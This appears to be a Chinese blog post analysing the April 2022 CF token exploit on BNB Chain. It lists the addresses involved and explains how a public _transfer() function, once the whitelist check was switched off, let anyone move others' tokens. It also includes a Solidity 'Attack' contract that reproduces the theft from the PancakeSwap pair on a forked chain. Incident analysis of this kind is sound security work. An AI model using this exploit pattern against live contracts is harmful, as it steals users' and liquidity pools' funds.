北京时间 2022 年 4 月 11 日, CF 代币合约被发现存在未验证发送者权限的漏洞,它允许任何人转移他人的 CF 余额。到目前为止,损失约为 190 万美元,而 pancakeswap 上 CF/USDT 交易对已经受到影响。
北京时间 2022 年 4 月 11 日, CF 代币合约被发现存在未验证发送者权限的漏洞,它允许任何人转移他人的 CF 余额。到目前为止,损失约为 190 万美元,而 pancakeswap 上 CF/USDT 交易对已经受到影响。
合约所有者地址:0xcd87248c74915e85f80293f10dcf300a73bc6581
攻击者地址(其中一个):0xee0221d76504aec40f63ad7e36855eebf5ea5edd
交易 hash(其中一个):0xc7647406542f8f2473a06fea142d223022370aa5722c044c2b7ea030b8965dd0
漏洞合约:0x8B7218CF6Ac641382D7C723dE8aA173e98a80196
这个漏洞的能够实现主要是以下两点
useWhiteListSwith 设置为 false。_transfer() 函数为public。2022-3-11日,管理员将useWhiteListSwith设置为false

导致_transfer()检查白名单的语句失效

分析tx0xc7647406542f8f2473a06fea142d223022370aa5722c044c2b7ea030b8965dd0
由于任何人都可以调用 _transfer() 函数加上没有了白名单的权限检测判断,导致了任何人都可以调用该函数转走其他地址的代币。

pragma solidity ^0.6.0;
// ganache-cli -f https://speedy-nodes-nyc.moralis.io/bsc/mainnet/archive@16841980
interface ICFToken {
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) external;
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
}
contract Attack { 
    address public cftoken = 0x8B7218CF6Ac641382D7C723dE8aA173e98a80196;
    address public cfpair = 0x7FdC0D8857c6D90FD79E22511baf059c0c71BF8b;
    ICFToken cfToken;
    event PrintBalance(uint256);
    function attack() public  {
        cfToken = ICFToken(cftoken);
        emit PrintBalance(cfToken.balanceOf(msg.sender));
        cfToken._transfer(cfpair,payable(msg.sender),1000000000000000000000);
        emit PrintBalance(cfToken.balanceOf(msg.sender));
    }
}
 
                如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!